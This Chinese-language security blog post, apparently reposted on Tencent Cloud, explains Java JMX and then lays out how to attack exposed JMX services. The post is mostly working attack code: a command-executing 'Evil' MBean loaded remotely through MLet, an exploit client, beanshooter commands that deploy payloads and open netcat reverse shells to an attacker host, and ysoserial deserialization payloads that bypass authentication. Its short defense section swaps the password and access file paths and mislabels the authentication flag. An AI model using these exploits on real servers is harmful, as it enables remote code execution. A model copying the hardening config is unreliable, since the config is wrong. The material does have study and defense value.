首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >JAVA安全之JMX攻防研究分析

JAVA安全之JMX攻防研究分析

作者头像
Al1ex
发布2024-12-20 13:59:14
发布2024-12-20 13:59:14
25500
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行

基本介绍

JMX(Java Management Extensions,即Java管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架,JMX可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用,我们可以将JMX理解为一个服务器,它能让客户端远程访问该服务器上运行的JAVA程序的API并通过相应的函数对该程序进行增删改查,运维人员常部署Zabbix、Cacti和Nagios对Tomcat、Weblogic等服务器进行监控时通常都是通过JMX访问Tomcat、Weblogic的方式实现,然后通过JVM的queryMBeans方法查询获取具体的Mbean(Thread、JVM、JDBC),根据Bean的属性值判断运行状态,本篇文章我们注意介绍JMX的相关基础知识以及风险点和攻击方式

架构介绍

JMX架构如下所示:

从图中我们可以看到JMX的结构一共分为三层:

a、基础层:主要是MBean,被管理的资源

  • standard MBean:这种类型的MBean最简单,它能管理的资源(包括属性,方法,时间)必须定义在接口中,然后MBean必须实现这个接口,它的命名也必须遵循一定的规范,例如我们的MBean为Hello,则接口必须为HelloMBean
  • dynamic MBean:必须实现javax.management.DynamicMBean接口,所有的属性,方法都在运行时定义
  • open MBean:此MBean的规范还不完善,还在改进中
  • model MBean:与标准和动态MBean相比,你可以不用写MBean类,只需使用javax.management.modelmbean.RequiredModelMBean即可,RequiredModelMBean实现了ModelMBean接口,而ModelMBean扩展了DynamicMBean接口,因此与DynamicMBean相似,Model MBean的管理资源也是在运行时定义的,与DynamicMBean不同的是,DynamicMBean管理的资源一般定义在DynamicMBean中(运行时才决定管理那些资源),而model MBean管理的资源并不在MBean中,而是在外部(通常是一个类),只有在运行时,才通过set方法将其加入到model MBean中,后面的例子会有详细介绍

b、适配层:MBeanServer,主要是提供对资源的注册和管理 c、接入层:Connector,提供远程访问的入口

简易示例

本地MBean

文件结构:

代码语言:javascript
代码运行次数:0
运行
复制
├──HelloWorld.java├──HelloWorldMBean.java└──jmxDemo.java

代码实现: HelloWorldMBean.java

代码语言:javascript
代码运行次数:0
运行
复制
packagecom.jmx;publicinterfaceHelloWorldMBean{publicvoidsayhello();publicintadd(intx,inty);publicStringgetName();}

HelloWorld.java

代码语言:javascript
代码运行次数:0
运行
复制
packagecom.jmx;publicclassHelloWorldimplementsHelloWorldMBean{privateStringname="Al1ex";@Overridepublicvoidsayhello(){System.out.println("hello world "+this.name);}@Overridepublicintadd(intx,inty){returnx+y;}@OverridepublicStringgetName(){returnthis.name;}}

jmxDemo.java

代码语言:javascript
代码运行次数:0
运行
复制
packagecom.jmx;importjava.lang.management.ManagementFactory;importjavax.management.MBeanServer;importjavax.management.ObjectName;importjava.rmi.registry.LocateRegistry;importjava.rmi.registry.Registry;importjavax.management.remote.JMXServiceURL;importjavax.management.remote.JMXConnectorServer;importjavax.management.remote.JMXConnectorServerFactory;publicclassjmxDemo{publicstaticvoidmain(String[]args)throwsException{MBeanServermbs=ManagementFactory.getPlatformMBeanServer();ObjectNamembsname=newObjectName("test:type=HelloWorld");HelloWorldmbean=newHelloWorld();mbs.registerMBean(mbean,mbsname);Registryregistry=LocateRegistry.createRegistry(1099);JMXServiceURLjmxServiceURL=newJMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");JMXConnectorServerjmxConnectorServer=JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL,null,mbs);jmxConnectorServer.start();System.out.println("JMXConnectorServer is ready...");System.out.println("press any key to exit.");System.in.read();}}

上述代码中的相关层级说明:

  • Probe Level:创建HelloWorldMBean实例mbean
  • Agent Level:创建MBeanServer实例mbs
  • Remote Management Level: 创建JMXServiceURL,绑定到本地1099 RMI,关联到MBeanServer mbs

执行jmxDemo.java程序:

启动jconsol进行连接:

随后调用sayHello:

远程MBean

JMX提供了一种机制可以使用远程MBean,在实现时我们可以通过MLet对象来实现,该对象有一个getMBeansFromURL方法,通过该方法我们可以使用远程的MBean,也正是因为这个原因才导致JMX存在远程代码执行漏洞的可能,在代码审计过程中我们有可能会碰到一个对外开放JMX的系统,此时我们可以通过代码使其加载远程的恶意EvilMBean从而实现执行任意代码,例如:Apache Solr的8.1.1和8.2.0 linux版本,下面简单实践一下看看:

Step 1:编写一个EvilMBean接口

代码语言:javascript
代码运行次数:0
运行
复制
publicinterfaceEvilMBean{publicStringrunCommand(Stringcmd);}

Step 2:编写EvilMBean的实现

代码语言:javascript
代码运行次数:0
运行
复制
importjava.io.*;publicclassEvilimplementsEvilMBean{@OverridepublicStringrunCommand(Stringcmd){try{Runtimert=Runtime.getRuntime();Processproc=rt.exec(cmd);BufferedReaderstdInput=newBufferedReader(newInputStreamReader(proc.getInputStream()));BufferedReaderstdError=newBufferedReader(newInputStreamReader(proc.getErrorStream()));Stringstdout_err_data="";Strings;while((s=stdInput.readLine())!=null){stdout_err_data+=s+"\n";}while((s=stdError.readLine())!=null){stdout_err_data+=s+"\n";}proc.waitFor();returnstdout_err_data;}catch(Exceptione){returne.toString();}}}

随后将上述两个java程序编译后打包成jar包:

代码语言:javascript
代码运行次数:0
运行
复制
javacEvil.javaEvilMBean.javajar-cvfJMXPayload.jarEvil.classEvilMBean.class

JMXPayload.jar文件内容如下所示:

Step 3:再创建一个名为mlet的文件,该文件是给getMBeansFromURL函数使用的,通过该文件getMBeansFromURL会到远程下载JMXPayload.jar文件,内容如下:

代码语言:javascript
代码运行次数:0
运行
复制
<HTML><mletcode="Evil"archive="JMXPayload.jar"name="MLetCompromise1:name=Evil,id=10"codebase="http://127.0.0.1:4141"></mlet></HTML>

参数说明:

  • JMXPayload.jar:EvilMBean的jar包,Evil为Evil的路径(需要看是否有包(package))
  • name:名称可以进行自定义,为步骤2创建的MBean
  • codebase:路径为Http Server地址,可通过python -m快速创建

Step 4:随后将JMXPayload.jar和mlet放在网站同一目录下并启动一个简易的Web服务器

代码语言:javascript
代码运行次数:0
运行
复制
python2-mSimpleHTTPServer4141

Step 5:启动JMXServer作为服务端

代码语言:javascript
代码运行次数:0
运行
复制
importjavax.management.MBeanServer;importjavax.management.remote.JMXConnectorServer;importjavax.management.remote.JMXConnectorServerFactory;importjavax.management.remote.JMXServiceURL;importjava.io.IOException;importjava.lang.management.ManagementFactory;importjava.net.MalformedURLException;importjava.rmi.registry.LocateRegistry;publicclassJMXServer{publicstaticvoidmain(String[]args)throwsException{MBeanServermbs=ManagementFactory.getPlatformMBeanServer();try{LocateRegistry.createRegistry(9999);JMXServiceURLurl=newJMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi");JMXConnectorServercs=JMXConnectorServerFactory.newJMXConnectorServer(url,null,mbs);System.out.println("....................begin rmi start.....");cs.start();System.out.println("....................rmi start.....");}catch(MalformedURLExceptione){e.printStackTrace();}catch(IOExceptione){e.printStackTrace();}}}

Step 6:构建ExploitJMXByRemoteMBean并启动

代码语言:javascript
代码运行次数:0
运行
复制
packageJMX_Remote;importjavax.management.MBeanServerConnection;importjavax.management.ObjectInstance;importjavax.management.ObjectName;importjavax.management.remote.JMXConnector;importjavax.management.remote.JMXConnectorFactory;importjavax.management.remote.JMXServiceURL;importjava.net.InetAddress;importjava.net.MalformedURLException;importjava.util.HashSet;importjava.util.Iterator;publicclassExploitJMXByRemoteMBean{publicstaticvoidmain(String[]args){try{// connectAndOwn(args[0], args[1], args[2]);connectAndOwn("localhost","9999","hostname");}catch(Exceptione){e.printStackTrace();}}staticvoidconnectAndOwn(StringserverName,Stringport,Stringcommand)throwsMalformedURLException{try{// step1. 通过rmi创建 jmx连接JMXServiceURLu=newJMXServiceURL("service:jmx:rmi:///jndi/rmi://"+serverName+":"+port+"/jmxrmi");System.out.println("URL: "+u+", connecting");JMXConnectorc=JMXConnectorFactory.connect(u);System.out.println("Connected: "+c.getConnectionId());MBeanServerConnectionm=c.getMBeanServerConnection();// step2. 加载特殊MBean:javax.management.loading.MLetObjectInstanceevil_bean=null;ObjectInstanceevil=null;try{evil=m.createMBean("javax.management.loading.MLet",null);}catch(javax.management.InstanceAlreadyExistsExceptione){evil=m.getObjectInstance(newObjectName("DefaultDomain:type=MLet"));}// step3:通过MLet加载远程恶意MBeanSystem.out.println("Loaded "+evil.getClassName());Objectres=m.invoke(evil.getObjectName(),"getMBeansFromURL",newObject[]{String.format("http://%s:4141/mlet",InetAddress.getLocalHost().getHostAddress())},newString[]{String.class.getName()});HashSetres_set=((HashSet)res);Iteratoritr=res_set.iterator();ObjectnextObject=itr.next();if(nextObjectinstanceofException){throw((Exception)nextObject);}evil_bean=((ObjectInstance)nextObject);// step4: 执行恶意MBeanSystem.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());System.out.println("Calling runCommand with: "+command);Objectresult=m.invoke(evil_bean.getObjectName(),"runCommand",newObject[]{command},newString[]{String.class.getName()});System.out.println("Result: "+result);}catch(Exceptione){e.printStackTrace();}}}

同时在web服务端也成功留下请求记录信息:

随后使用Jconsole连接查看添加的MBean:

再次确认已成功注册恶意MBean:

尝试执行命令:

此时我们也可以通过编写客户端来实现对已注册的MBean的方法调用:

代码语言:javascript
代码运行次数:0
运行
复制
packageJMX_Remote;importjava.io.IOException;importjavax.management.MBeanServerConnection;importjavax.management.ObjectName;importjavax.management.remote.JMXConnector;importjavax.management.remote.JMXConnectorFactory;importjavax.management.remote.JMXServiceURL;publicclassClient{publicstaticvoidmain(String[]args)throwsIOException,Exception,NullPointerException{JMXServiceURLurl=newJMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi");JMXConnectorjmxc=JMXConnectorFactory.connect(url,null);MBeanServerConnectionmbsc=jmxc.getMBeanServerConnection();ObjectNamembeanName=newObjectName("MLetCompromise1:name=Evil,id=10");System.out.println("MBean count = "+mbsc.getMBeanCount());mbsc.invoke(mbeanName,"runCommand",newObject[]{"calc.exe"},newString[]{String.class.getName()});}}

利用方式

自定义类

使用工具向JMX服务端注册恶意MBean: Step 1:编写一个EvilMBean接口

代码语言:javascript
代码运行次数:0
运行
复制
publicinterfaceEvilMBean{publicStringrunCommand(Stringcmd);}

Step 2:编写EvilMBean的实现

代码语言:javascript
代码运行次数:0
运行
复制
importjava.io.*;publicclassEvilimplementsEvilMBean{@OverridepublicStringrunCommand(Stringcmd){try{Runtimert=Runtime.getRuntime();Processproc=rt.exec(cmd);BufferedReaderstdInput=newBufferedReader(newInputStreamReader(proc.getInputStream()));BufferedReaderstdError=newBufferedReader(newInputStreamReader(proc.getErrorStream()));Stringstdout_err_data="";Strings;while((s=stdInput.readLine())!=null){stdout_err_data+=s+"\n";}while((s=stdError.readLine())!=null){stdout_err_data+=s+"\n";}proc.waitFor();returnstdout_err_data;}catch(Exceptione){returne.toString();}}}

随后将上述两个java程序编译后打包成jar包:

代码语言:javascript
代码运行次数:0
运行
复制
javacEvil.javaEvilMBean.javajar-cvfJMXPayload.jarEvil.classEvilMBean.class

JMXPayload.jar文件内容如下所示

Step 4:随后使用python来启动一个简单的HTTP服务托管JMXPayload.jar

代码语言:javascript
代码运行次数:0
运行
复制
python2-mSimpleHTTPServer4141

Step 5:使用beanshooter来部署jar

代码语言:javascript
代码运行次数:0
运行
复制
java-jarbeanshooter.jardeploy10.1.200.19999Evilcom.al1ex:type=Example--jar-fileJMXPayload.jar--stager-urlhttp://10.1.200.1:4141

部署效果如下所示,随后直接远程链接并执行命令即可

命令执行

Step 1:使用mlet加载tonka MBeans

代码语言:javascript
代码运行次数:0
运行
复制
java-jarbeanshooter.jarmletload172.17.0.29010tonkahttp://172.17.0.1:8000

Step 2:借助tonka来执行命令

代码语言:javascript
代码运行次数:0
运行
复制
java-jarbeanshooter.jartonkaexec172.17.0.29010id

最后我们要对加载的恶意的MBean做一个清理处理(根据上面的Object名称来传参)

代码语言:javascript
代码运行次数:0
运行
复制
java-jarbeanshooter.jarundeploy172.17.0.29010MLetTonkaBean:name=TonkaBean,id=1

反弹shell

借助standard模块操作来反弹shell:

代码语言:javascript
代码运行次数:0
运行
复制
java-jarbeanshooter.jarstandard172.17.0.29010exec'nc172.17.0.14444-eash'

认证模式

Step 1:开启监听

代码语言:javascript
代码运行次数:0
运行
复制
nc-lnvp1234

Step 2:发起反序列化请求,如果出现下面的错误提示则说明是未配置yso.jar的路径

代码语言:javascript
代码运行次数:0
运行
复制
java-jarbeanshooter.jarserial172.17.0.21090CommonsCollections6"nc 172.17.0.1 1234 -e ash"--usernameadmin--passwordadmin

随后正常执行后可以成功反弹shell回来:

preauth

JMX服务也容易受到预先验证的反序列化攻击,要滥用这一点,您可以使用-preauth开关,而这个利用其实是RMI-JRMP的实现:

代码语言:javascript
代码运行次数:0
运行
复制
java-jarbeanshooter.jarserial172.17.0.21090CommonsCollections6"nc 172.17.0.1 4444 -e ash"--preauth

认证绕过

如果开启认证则上面的几种攻击方式是不能打的(未知账户/密码的情况下): https://github.com/openjdk-mirror/jdk7u-jdk/blob/f4d80957e89a19a29bb9f9807d2a28351ed7f7df/src/share/classes/com/sun/jmx/remote/security/MBeanServerAccessController.java#L619

ysoserial在2019年5月份的时候添加了一个新的模块,通过它可以来打认证后的MBean服务 https://github.com/frohoff/ysoserial/commit/55f1e7c35cabb454385fca14be03b80129cfa62e

实现原理就是调用一个MBean方法,该方法接受String(或任何其他类)作为参数,如果将String类型的参数替换为gadget,ysoserial工具实现就是将默认Mbean中java.util.logging:type=Logging中的getLoggerLevel参数进行替换,当然服务器上必须存在有gadget的jar包,我这里测试的用的是CommonsBeanutils1:

代码语言:javascript
代码运行次数:0
运行
复制
"C:\Program Files\Java\jdk1.8.0_102\bin\java.exe"-cpysoserial.jarysoserial.exploit.JMXInvokeMBean127.0.0.19999CommonsBeanutils1calc.exe

通过代码实现(需要导入ysoserial.jar包):

代码语言:javascript
代码运行次数:0
运行
复制
packageJMX_Remote;importjavax.management.MBeanServerConnection;importjavax.management.ObjectName;importjavax.management.remote.*;importysoserial.payloads.ObjectPayload.Utils;publicclassjmxInvoke{publicstaticvoidmain(String[]args)throwsException{JMXServiceURLurl=newJMXServiceURL("service:jmx:rmi:///jndi/rmi://192.168.174.153:9999/jmxrmi");JMXConnectorjmxConnector=JMXConnectorFactory.connect(url);MBeanServerConnectionmbeanServerConnection=jmxConnector.getMBeanServerConnection();ObjectNamembeanName=newObjectName("java.util.logging:type=Logging");Objectpayloadobject=Utils.makePayloadObject("Jdk7u21","calc.exe");mbeanServerConnection.invoke(mbeanName,"getLoggerLevel",newObject[]{payloadobject},newString[]{String.class.getCanonicalName()});}}

执行结果如下所示:

防御措施

(1) 结合业务进行安全考虑,如果不需要JMX服务可以关闭 (2) 如果需要开启则建议启用认证,同时妥善保管认证信息: a、首先创建一个jmxremote.access文件,用于定义哪些用户可以访问JMX服务

代码语言:javascript
代码运行次数:0
运行
复制
#格式示例用户名权限monitorRolereadonlycontrolRolereadwrite#简易示例monitorRolereadonlycontrolRolereadwrite

b、创建一个jmxremote.password文件用于定义用户密码

代码语言:javascript
代码运行次数:0
运行
复制
#文件格式用户名密码#简易示例monitorRolepassword123controlRolepassword456

c、配置JMX Agent以使用上述文件

代码语言:javascript
代码运行次数:0
运行
复制
#格式说明-Dcom.sun.management.jmxremote.port=9999#指定端口-Dcom.sun.management.jmxremote.authenticate=true#指定不需要用户名与密码-Dcom.sun.management.jmxremote.ssl=false#不采用HTTPS连接-Dcom.sun.management.jmxremote.password.file=/path/to/jmxremote.access#密码文件-Dcom.sun.management.jmxremote.access.file=/path/to/jmxremote.password#权限文件#简易示例-Dcom.sun.management.jmxremote.port=9999-Dcom.sun.management.jmxremote.authenticate=true-Dcom.sun.management.jmxremote.ssl=false-Dcom.sun.management.jmxremote.password.file=jmxremote.access-Dcom.sun.management.jmxremote.access.file=jmxremote.password

d、运行应用后使用jsconsole进行访问可以看到需要身份认证

文末小结

从上文中我们可以看到JMX的安全问题主要可以归结为以下几类:

  • JMX未授权访问:JMX未做身份认证导致服务对外映射,攻击者可以通过Jconsole远程连接并调用其方法
  • JMX Mlet远程加载导致命令执行:我们可以通过Mlet远程加载恶意的MBean并通过Jconsole链接或者客户端调用的方式来执行命令
  • JMX RMI一类攻击导致命令执行:JMX基于RMI来构建时我们可以通过Ysoserial来攻击RMI Server来实现对目标的攻击操作同时获取权限
  • JMX授权绕过一类导致命令执行:JMX授权绕过一类的安全问题主要是由于数据传输时的序列化和反序列化机制导致攻击者构造序列化数据从而在服务端反序列化时执行

参考链接

https://www.sohu.com/a/385420581_354899 https://www.optiv.com/blog/exploiting-jmx-rmi https://blog.csdn.net/CTZL123456/article/details/140552533 https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/ https://docs.oracle.com/javase/7/docs/api/javax/management/ObjectName.html

推 荐 阅 读

横向移动之RDP&Desktop Session Hija

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本介绍
  • 架构介绍
  • 简易示例
    • 本地MBean
    • 远程MBean
  • 利用方式
    • 自定义类
    • 命令执行
    • 反弹shell
    • 认证模式
    • preauth
  • 认证绕过
  • 防御措施
  • 文末小结
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档